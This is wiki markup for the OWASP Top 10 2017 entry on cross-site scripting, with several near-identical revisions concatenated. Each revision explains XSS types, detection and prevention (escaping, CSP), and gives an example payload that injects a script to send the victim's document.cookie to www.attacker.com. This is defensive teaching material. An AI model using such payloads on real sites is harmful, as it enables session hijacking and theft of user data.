{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:09:49Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Details specific to client-side input processing reside in [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location= '<nowiki>http://www.attacker.com/log? cookies='+document.cookie</nowiki></script><foobar p='
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location= '<nowiki>http://www.attacker.com/log?</nowiki> cookies='+document.cookie</script><foobar p=''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:06:03Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Details specific to client-side input processing reside in [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</nowiki></script><foobar p='
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi?</nowiki> foo='+document.cookie</script><foobar p=''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:02:47Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Details specific to client-side input processing reside in [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</nowiki></script>'
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi?</nowiki> foo='+document.cookie</script>''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
* [[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]
* [[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]
* [[AntiSamy | OWASP AntiSamy: Sanitization Library]]
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
* [[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]

{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]

{{Top_10_2013:BottomAdvancedTemplate
|type={{Top_10_2010:StyleTemplate}}
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-05-31T19:00:43Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
You are vulnerable to [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]] has details specific to client-side input processing.
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</nowiki></script>'
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location= '<nowiki>http://www.attacker.com/cgi-bin/cookie.cgi?</nowiki> foo='+document.cookie</script>''>
{{Top_10_2010:ExampleEndTemplate}}

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]] for info on CSRF.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
* [[Types of Cross-Site Scripting]]
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]
* [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
